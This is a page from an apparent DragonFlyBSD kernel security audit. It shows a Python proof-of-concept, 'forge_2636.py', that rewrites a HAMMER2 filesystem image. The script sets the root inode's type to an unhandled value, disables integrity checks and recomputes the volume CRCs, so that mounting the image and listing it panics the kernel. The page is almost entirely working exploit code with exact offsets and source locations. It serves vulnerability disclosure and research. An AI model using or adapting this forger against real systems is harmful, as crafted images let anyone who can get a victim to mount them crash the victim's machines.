DragonFlyBSD Kernel Audit
DF-2636 / forge_2636.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-2636 PoC image forger.

hammer2_igetv() (hammer2_inode.c:744-795) switches on ip->meta.type and
panics on any type not in {DIRECTORY, REGFILE, SOFTLINK, CDEV, BDEV, FIFO,
SOCKET}:
    default:
        panic("hammer2: unhandled objtype %d", ip->meta.type);
meta.type is taken verbatim from the on-media inode (pfsalloc:
iroot->meta = ripdata->meta, vfsops.c:456).  Valid-but-unhandled on-media
values include 0 (UNKNOWN), 3, 8, 10 (WHITEOUT), and 11..255.

This forger sets meta.type (inode block +0x50) of the mounted PFS root
inode ('testvol') to 0x42, ancestors CHECK_NONE, volhdr CRCs recomputed.

Expected: mount succeeds; the first VFS_ROOT on the mount (e.g. `ls`)
panics: "hammer2: unhandled objtype 66".
"""
import struct, sys
sys.path.insert(0, '/root/poc/df2636')
from h2common import *

BAD_TYPE = 0x42

def main():
    base, out = sys.argv[1:3]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    sblk, kids = sroot_children(img, sbr)

    target = None
    for br in kids:
        if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
            if inode_name(img, br['data_off'] & ~RADIX_MASK) == b'testvol':
                target = br
    assert target, "testvol PFS inode not found under sroot"
    tblk = target['data_off'] & ~RADIX_MASK
    old_type = img[tblk + 0x50]
    old_inum = struct.unpack_from('<Q', img, tblk + 0x58)[0]
    print("[walk] testvol inode @ %#x type=%d inum=%#x"
          % (tblk, old_type, old_inum))
    assert old_type == 1, "expected DIRECTORY"

    struct.pack_into('<B', img, tblk + 0x50, BAD_TYPE)
    print("[+] meta.type %d -> %#x" % (old_type, BAD_TYPE))

    struct.pack_into('<B', img, target['off'] + 0x01, 0x00)  # CHECK_NONE
    struct.pack_into('<Q', img, target['off'] + 0x10, 0)     # mirror_tid=0
    for v in vols:
        struct.pack_into('<B', img, v + 0x201, 0x00)         # sroot CHECK_NONE
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()